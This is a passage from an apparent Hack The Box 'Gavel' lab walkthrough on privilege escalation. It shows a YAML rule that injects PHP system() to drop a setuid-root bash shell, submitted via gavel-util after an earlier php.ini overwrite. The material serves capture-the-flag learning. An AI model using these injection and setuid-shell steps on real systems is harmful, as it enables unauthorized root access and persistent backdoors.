  • Our rule executes and overwrites the php.ini to fully unlock execution.
  • It returns false, so the rule fails silently — but the payload already landed.

Verify the hijack:

htb_gavel_21

From now on, future calls to php_safe_run() will use this new php.ini and no longer have system() disabled.

Build a second config that drops a setuid-root bash shell in our home:

Bash
# setuid rule
cat > /tmp/root.yaml << 'EOF'
name: "root"
description: "SUID Bash"
image: "https://x"
price: 1
rule_msg: "ok"
rule: "
system('install -o root -m 4755 /bin/bash /home/auctioneer/bsh');
return false;
"
EOF

# submit
gavel-util submit /tmp/root.yaml

Weaponized binary dropped, permissions set:

htb_gavel_22

Rooted: